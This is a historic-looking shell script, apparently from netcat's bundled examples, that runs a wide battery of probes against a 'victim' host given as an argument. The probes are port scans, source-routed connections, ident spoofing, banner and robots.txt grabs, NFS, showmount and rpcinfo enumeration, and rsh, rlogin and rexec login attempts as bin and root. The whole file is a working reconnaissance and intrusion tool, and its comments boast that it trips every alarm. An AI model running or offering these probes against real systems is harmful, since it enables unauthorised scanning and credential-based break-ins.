Home | History | Annotate | Download | only in scripts
      1 #! /bin/sh
      2 ## launch a whole buncha shit at yon victim in no particular order; capture
      3 ## stderr+stdout in one place.  Run as root for rservice and low -p to work.
      4 ## Fairly thorough example of using netcat to collect a lot of host info.
      5 ## Will set off every intrusion alarm in existence on a paranoid machine!
      6 
      7 # where .d files are kept; "." if nothing else
      8 DDIR=../data
      9 # address of some well-connected router that groks LSRR
     10 GATE=192.157.69.11
     11 
     12 # might conceivably wanna change this for different run styles
     13 UCMD='nc -v -w 8'
     14 
     15 test ! "$1" && echo Needs victim arg && exit 1
     16 
     17 echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
     18 echo '0' | $UCMD "$1" 79 2>&1
     19 # if LSRR was passed thru, should get refusal here:
     20 $UCMD -z -r -g $GATE "$1" 6473 2>&1
     21 $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
     22 # -s `hostname` may be wrong for some multihomed machines
     23 echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
     24 echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1
     25 rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
     26 echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
     27 # newline after any telnet trash
     28 echo ''
     29 echo PASV | $UCMD -r "$1" 21 2>&1
     30 echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1
     31 # sometimes contains useful directory info:
     32 echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1
     33 # now the big red lights go on
     34 rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
     35 rservice root root | $UCMD -r "$1" exec 2>&1
     36 echo 'BEGIN big udp -- everything may look "open" if packet-filtered'
     37 data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
     38 # no wait-time, uses RTT hack
     39 nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
     40 nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
     41 echo 'END big udp'
     42 $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
     43 # Use our identd-sniffer!
     44 iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
     45 # this gets pretty intrusive, but what the fuck.  Probe for portmap first
     46 if nc -w 5 -z -u "$1" 111 ; then
     47   showmount -e "$1" 2>&1
     48   rpcinfo -p "$1" 2>&1
     49 fi
     50 exit 0
     51